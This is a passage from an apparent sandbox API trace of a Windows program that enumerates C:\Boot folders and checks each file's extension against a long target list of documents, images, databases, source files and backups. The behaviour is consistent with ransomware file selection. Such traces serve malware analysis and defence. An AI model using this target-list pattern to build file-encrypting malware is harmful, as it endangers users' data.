	[0167.344] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1
	[0167.344] lstrlenW (lpString=".pm") returned 3
	[0167.344] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1
	[0167.344] lstrlenW (lpString=".png") returned 4
	[0167.344] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1
	[0167.344] lstrlenW (lpString=".pnm") returned 4
	[0167.344] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1
	[0167.344] lstrlenW (lpString=".pot") returned 4
	[0167.344] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1
	[0167.344] lstrlenW (lpString=".potm") returned 5
	[0167.344] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1
	[0167.344] lstrlenW (lpString=".potx") returned 5
	[0167.344] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1
	[0167.344] lstrlenW (lpString=".ppa") returned 4
	[0167.344] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1
	[0167.344] lstrlenW (lpString=".ppam") returned 5
	[0167.344] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1
	[0167.345] lstrlenW (lpString=".ppm") returned 4
	[0167.345] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1
	[0167.345] lstrlenW (lpString=".pps") returned 4
	[0167.345] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1
	[0167.345] lstrlenW (lpString=".ppsm") returned 5
	[0167.345] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1
	[0167.345] lstrlenW (lpString=".ppt") returned 4
	[0167.345] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0167.345] lstrlenW (lpString=".pptm") returned 5
	[0167.345] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1
	[0167.345] lstrlenW (lpString=".pptx") returned 5
	[0167.345] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1
	[0167.345] lstrlenW (lpString=".prn") returned 4
	[0167.345] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1
	[0167.345] lstrlenW (lpString=".ps") returned 3
	[0167.345] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1
	[0167.345] lstrlenW (lpString=".psb") returned 4
	[0167.345] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1
	[0167.345] lstrlenW (lpString=".psd") returned 4
	[0167.345] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1
	[0167.345] lstrlenW (lpString=".pst") returned 4
	[0167.345] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1
	[0167.345] lstrlenW (lpString=".ptx") returned 4
	[0167.345] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1
	[0167.345] lstrlenW (lpString=".pub") returned 4
	[0167.345] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1
	[0167.345] lstrlenW (lpString=".pwm") returned 4
	[0167.345] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1
	[0167.345] lstrlenW (lpString=".pxr") returned 4
	[0167.345] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1
	[0167.345] lstrlenW (lpString=".py") returned 3
	[0167.345] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1
	[0167.346] lstrlenW (lpString=".qt") returned 3
	[0167.346] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1
	[0167.346] lstrlenW (lpString=".r3d") returned 4
	[0167.346] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1
	[0167.346] lstrlenW (lpString=".raf") returned 4
	[0167.346] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1
	[0167.346] lstrlenW (lpString=".rar") returned 4
	[0167.346] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0167.346] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0167.346] FindClose (in: hFindFile=0x6ac098 | out: hFindFile=0x6ac098) returned 1
	[0167.346] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4434fd8 | out: hHeap=0x610000) returned 1
	[0167.346] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fi-FI", cAlternateFileName="")) returned 1
	[0167.346] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4434fd8
	[0167.346] lstrlenW (lpString="C:\\Boot\\fi-FI") returned 13
	[0167.346] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6abe98
	[0167.346] FindNextFileW (in: hFindFile=0x6abe98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.346] FindNextFileW (in: hFindFile=0x6abe98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0167.346] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0167.347] lstrlenW (lpString=".1cd") returned 4
	[0167.347] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0167.347] lstrlenW (lpString=".3ds") returned 4
	[0167.347] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1
	[0167.347] lstrlenW (lpString=".3fr") returned 4
	[0167.347] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1
	[0167.347] lstrlenW (lpString=".3g2") returned 4
	[0167.347] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1
	[0167.347] lstrlenW (lpString=".3gp") returned 4
	[0167.347] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1
	[0167.347] lstrlenW (lpString=".7z") returned 3
	[0167.347] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0167.347] lstrlenW (lpString=".accda") returned 6
	[0167.347] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1
	[0167.347] lstrlenW (lpString=".accdb") returned 6
	[0167.347] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1
	[0167.347] lstrlenW (lpString=".accdc") returned 6
	[0167.347] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1
	[0167.347] lstrlenW (lpString=".accde") returned 6
	[0167.347] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1
	[0167.347] lstrlenW (lpString=".accdt") returned 6
	[0167.347] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1
	[0167.347] lstrlenW (lpString=".accdw") returned 6
	[0167.347] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1
	[0167.347] lstrlenW (lpString=".adb") returned 4
	[0167.347] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1
	[0167.347] lstrlenW (lpString=".adp") returned 4
	[0167.347] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1
	[0167.347] lstrlenW (lpString=".ai") returned 3
	[0167.347] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1
	[0167.347] lstrlenW (lpString=".ai3") returned 4
	[0167.348] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1
	[0167.348] lstrlenW (lpString=".ai4") returned 4
	[0167.348] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1
	[0167.348] lstrlenW (lpString=".ai5") returned 4
	[0167.348] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1
	[0167.348] lstrlenW (lpString=".ai6") returned 4
	[0167.348] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1
	[0167.348] lstrlenW (lpString=".ai7") returned 4
	[0167.348] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1
	[0167.348] lstrlenW (lpString=".ai8") returned 4
	[0167.348] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1
	[0167.348] lstrlenW (lpString=".anim") returned 5
	[0167.348] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1
	[0167.348] lstrlenW (lpString=".arw") returned 4
	[0167.348] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1
	[0167.348] lstrlenW (lpString=".as") returned 3
	[0167.348] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1
	[0167.348] lstrlenW (lpString=".asa") returned 4
	[0167.348] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1
	[0167.348] lstrlenW (lpString=".asc") returned 4
	[0167.348] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1
	[0167.348] lstrlenW (lpString=".ascx") returned 5
	[0167.348] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1
	[0167.348] lstrlenW (lpString=".asm") returned 4
	[0167.348] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1
	[0167.348] lstrlenW (lpString=".asmx") returned 5
	[0167.348] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1
	[0167.348] lstrlenW (lpString=".asp") returned 4
	[0167.348] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1
	[0167.348] lstrlenW (lpString=".aspx") returned 5
	[0167.348] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1
	[0167.348] lstrlenW (lpString=".asr") returned 4
	[0167.348] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1
	[0167.349] lstrlenW (lpString=".asx") returned 4
	[0167.349] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1
	[0167.349] lstrlenW (lpString=".avi") returned 4
	[0167.349] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1
	[0167.349] lstrlenW (lpString=".avs") returned 4
	[0167.349] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1
	[0167.349] lstrlenW (lpString=".backup") returned 7
	[0167.349] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1
	[0167.349] lstrlenW (lpString=".bak") returned 4
	[0167.349] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1
	[0167.349] lstrlenW (lpString=".bay") returned 4
	[0167.349] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1
	[0167.349] lstrlenW (lpString=".bd") returned 3
	[0167.349] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1
	[0167.349] lstrlenW (lpString=".bin") returned 4
	[0167.349] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1
	[0167.349] lstrlenW (lpString=".bmp") returned 4
	[0167.349] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1
	[0167.349] lstrlenW (lpString=".bz2") returned 4
	[0167.349] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0167.349] lstrlenW (lpString=".c") returned 2
	[0167.349] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1
	[0167.349] lstrlenW (lpString=".cdr") returned 4
	[0167.349] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1
	[0167.349] lstrlenW (lpString=".cer") returned 4
	[0167.349] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1
	[0167.349] lstrlenW (lpString=".cf") returned 3
	[0167.349] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1
	[0167.349] lstrlenW (lpString=".cfc") returned 4
	[0167.349] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1
	[0167.349] lstrlenW (lpString=".cfm") returned 4
	[0167.349] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1
	[0167.350] lstrlenW (lpString=".cfml") returned 5
	[0167.350] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1
	[0167.350] lstrlenW (lpString=".cfu") returned 4
	[0167.350] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1
	[0167.350] lstrlenW (lpString=".chm") returned 4
	[0167.350] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1
	[0167.350] lstrlenW (lpString=".cin") returned 4
	[0167.350] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1
	[0167.350] lstrlenW (lpString=".class") returned 6
	[0167.350] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1
	[0167.350] lstrlenW (lpString=".clx") returned 4
	[0167.350] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1
	[0167.350] lstrlenW (lpString=".config") returned 7
	[0167.350] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1
	[0167.350] lstrlenW (lpString=".cpp") returned 4
	[0167.350] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1
	[0167.350] lstrlenW (lpString=".cr2") returned 4
	[0167.350] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1
	[0167.350] lstrlenW (lpString=".crt") returned 4
	[0167.350] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1
	[0167.350] lstrlenW (lpString=".crw") returned 4
	[0167.350] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1
	[0167.350] lstrlenW (lpString=".cs") returned 3
	[0167.350] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1
	[0167.350] lstrlenW (lpString=".css") returned 4
	[0167.350] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1
	[0167.350] lstrlenW (lpString=".csv") returned 4
	[0167.350] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1
	[0167.350] lstrlenW (lpString=".cub") returned 4
	[0167.350] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1
	[0167.350] lstrlenW (lpString=".dae") returned 4
	[0167.350] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1
	[0167.350] lstrlenW (lpString=".dat") returned 4
	[0167.351] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1
	[0167.351] lstrlenW (lpString=".db") returned 3
	[0167.351] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1
	[0167.351] lstrlenW (lpString=".dbf") returned 4
	[0167.351] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0167.351] lstrlenW (lpString=".dbx") returned 4
	[0167.351] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1
	[0167.351] lstrlenW (lpString=".dc3") returned 4
	[0167.351] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1
	[0167.351] lstrlenW (lpString=".dcm") returned 4
	[0167.351] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1
	[0167.351] lstrlenW (lpString=".dcr") returned 4
	[0167.351] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1
	[0167.351] lstrlenW (lpString=".der") returned 4
	[0167.351] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1
	[0167.351] lstrlenW (lpString=".dib") returned 4
	[0167.351] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1
	[0167.351] lstrlenW (lpString=".dic") returned 4
	[0167.351] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1
	[0167.351] lstrlenW (lpString=".dif") returned 4
	[0167.351] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1
	[0167.351] lstrlenW (lpString=".divx") returned 5
	[0167.351] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1
	[0167.351] lstrlenW (lpString=".djvu") returned 5
	[0167.351] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1
	[0167.351] lstrlenW (lpString=".dng") returned 4
	[0167.351] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1
	[0167.351] lstrlenW (lpString=".doc") returned 4
	[0167.351] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0167.351] lstrlenW (lpString=".docm") returned 5
	[0167.351] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1
	[0167.351] lstrlenW (lpString=".docx") returned 5
	[0167.351] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0167.352] lstrlenW (lpString=".dot") returned 4
	[0167.352] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1
	[0167.352] lstrlenW (lpString=".dotm") returned 5
	[0167.352] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1
	[0167.352] lstrlenW (lpString=".dotx") returned 5
	[0167.352] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1
	[0167.352] lstrlenW (lpString=".dpx") returned 4
	[0167.352] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1
	[0167.352] lstrlenW (lpString=".dqy") returned 4
	[0167.352] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1
	[0167.352] lstrlenW (lpString=".dsn") returned 4
	[0167.352] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1
	[0167.352] lstrlenW (lpString=".dt") returned 3
	[0167.352] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1
	[0167.352] lstrlenW (lpString=".dtd") returned 4
	[0167.352] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1
	[0167.352] lstrlenW (lpString=".dwg") returned 4
	[0167.352] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1
	[0167.352] lstrlenW (lpString=".dwt") returned 4
	[0167.352] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1
	[0167.352] lstrlenW (lpString=".dx") returned 3
	[0167.352] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1
	[0167.352] lstrlenW (lpString=".dxf") returned 4
	[0167.352] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1
	[0167.352] lstrlenW (lpString=".edml") returned 5
	[0167.352] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1
	[0167.352] lstrlenW (lpString=".efd") returned 4
	[0167.352] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1
	[0167.352] lstrlenW (lpString=".elf") returned 4
	[0167.352] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1
	[0167.352] lstrlenW (lpString=".emf") returned 4
	[0167.352] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1
	[0167.352] lstrlenW (lpString=".emz") returned 4
	[0167.353] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1
	[0167.353] lstrlenW (lpString=".epf") returned 4
	[0167.353] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1
	[0167.353] lstrlenW (lpString=".eps") returned 4
	[0167.353] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1
	[0167.353] lstrlenW (lpString=".epsf") returned 5
	[0167.353] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1
	[0167.353] lstrlenW (lpString=".epsp") returned 5
	[0167.353] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1
	[0167.353] lstrlenW (lpString=".erf") returned 4
	[0167.353] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1
	[0167.353] lstrlenW (lpString=".exr") returned 4
	[0167.353] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1
	[0167.353] lstrlenW (lpString=".f4v") returned 4
	[0167.353] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1
	[0167.353] lstrlenW (lpString=".fido") returned 5
	[0167.353] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1
	[0167.353] lstrlenW (lpString=".flm") returned 4
	[0167.353] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1
	[0167.353] lstrlenW (lpString=".flv") returned 4
	[0167.353] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1
	[0167.353] lstrlenW (lpString=".frm") returned 4
	[0167.353] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1
	[0167.353] lstrlenW (lpString=".fxg") returned 4
	[0167.353] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1
	[0167.353] lstrlenW (lpString=".geo") returned 4
	[0167.353] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1
	[0167.353] lstrlenW (lpString=".gif") returned 4
	[0167.353] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1
	[0167.353] lstrlenW (lpString=".grs") returned 4
	[0167.353] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1
	[0167.353] lstrlenW (lpString=".gz") returned 3
	[0167.354] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1
	[0167.354] lstrlenW (lpString=".h") returned 2
	[0167.354] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1
	[0167.354] lstrlenW (lpString=".hdr") returned 4
	[0167.354] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1
	[0167.354] lstrlenW (lpString=".hpp") returned 4
	[0167.354] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1
	[0167.354] lstrlenW (lpString=".hta") returned 4
	[0167.354] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1
	[0167.354] lstrlenW (lpString=".htc") returned 4
	[0167.354] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1
	[0167.354] lstrlenW (lpString=".htm") returned 4
	[0167.354] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1
	[0167.354] lstrlenW (lpString=".html") returned 5
	[0167.354] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1
	[0167.354] lstrlenW (lpString=".icb") returned 4
	[0167.354] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1
	[0167.354] lstrlenW (lpString=".ics") returned 4
	[0167.354] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1
	[0167.354] lstrlenW (lpString=".iff") returned 4
	[0167.354] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1
	[0167.354] lstrlenW (lpString=".inc") returned 4
	[0167.354] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1
	[0167.354] lstrlenW (lpString=".indd") returned 5
	[0167.354] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1
	[0167.354] lstrlenW (lpString=".ini") returned 4
	[0167.354] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1
	[0167.354] lstrlenW (lpString=".iqy") returned 4
	[0167.354] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1
	[0167.354] lstrlenW (lpString=".j2c") returned 4
	[0167.354] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1
	[0167.354] lstrlenW (lpString=".j2k") returned 4
	[0167.354] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1
	[0167.355] lstrlenW (lpString=".java") returned 5
	[0167.355] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1
	[0167.355] lstrlenW (lpString=".jp2") returned 4
	[0167.355] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1
	[0167.355] lstrlenW (lpString=".jpc") returned 4
	[0167.355] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1
	[0167.355] lstrlenW (lpString=".jpe") returned 4
	[0167.355] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1
	[0167.355] lstrlenW (lpString=".jpeg") returned 5
	[0167.355] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1
	[0167.355] lstrlenW (lpString=".jpf") returned 4
	[0167.355] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1
	[0167.355] lstrlenW (lpString=".jpg") returned 4
	[0167.355] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0167.355] lstrlenW (lpString=".jpx") returned 4
	[0167.355] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1
	[0167.355] lstrlenW (lpString=".js") returned 3
	[0167.355] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1
	[0167.355] lstrlenW (lpString=".jsf") returned 4
	[0167.355] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1
	[0167.355] lstrlenW (lpString=".json") returned 5
	[0167.355] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1
	[0167.355] lstrlenW (lpString=".jsp") returned 4
	[0167.355] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1
	[0167.355] lstrlenW (lpString=".kdc") returned 4
	[0167.355] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1
	[0167.355] lstrlenW (lpString=".kmz") returned 4
	[0167.355] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1
	[0167.355] lstrlenW (lpString=".kwm") returned 4
	[0167.355] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1
	[0167.355] lstrlenW (lpString=".lasso") returned 6
	[0167.355] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1
	[0167.355] lstrlenW (lpString=".lbi") returned 4
	[0167.479] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1
	[0167.479] lstrlenW (lpString=".lgf") returned 4
	[0167.479] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1
	[0167.479] lstrlenW (lpString=".lgp") returned 4
	[0167.479] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1
	[0167.479] lstrlenW (lpString=".log") returned 4
	[0167.479] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1
	[0167.479] lstrlenW (lpString=".m1v") returned 4
	[0167.479] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1
	[0167.479] lstrlenW (lpString=".m4a") returned 4
	[0167.479] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1
	[0167.479] lstrlenW (lpString=".m4v") returned 4
	[0167.480] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1
	[0167.480] lstrlenW (lpString=".max") returned 4
	[0167.480] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1
	[0167.480] lstrlenW (lpString=".md") returned 3
	[0167.480] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1
	[0167.480] lstrlenW (lpString=".mda") returned 4
	[0167.480] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1
	[0167.480] lstrlenW (lpString=".mdb") returned 4
	[0167.480] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1
	[0167.480] lstrlenW (lpString=".mde") returned 4
	[0167.480] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1
	[0167.480] lstrlenW (lpString=".mdf") returned 4
	[0167.480] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1
	[0167.480] lstrlenW (lpString=".mdw") returned 4
	[0167.480] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1
	[0167.480] lstrlenW (lpString=".mef") returned 4
	[0167.480] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1
	[0167.480] lstrlenW (lpString=".mft") returned 4
	[0167.480] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1
	[0167.480] lstrlenW (lpString=".mfw") returned 4
	[0167.480] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1
	[0167.480] lstrlenW (lpString=".mht") returned 4
	[0167.480] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1
	[0167.480] lstrlenW (lpString=".mhtml") returned 6
	[0167.480] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1
	[0167.480] lstrlenW (lpString=".mka") returned 4
	[0167.480] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1
	[0167.480] lstrlenW (lpString=".mkidx") returned 6
	[0167.480] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1
	[0167.481] lstrlenW (lpString=".mkv") returned 4
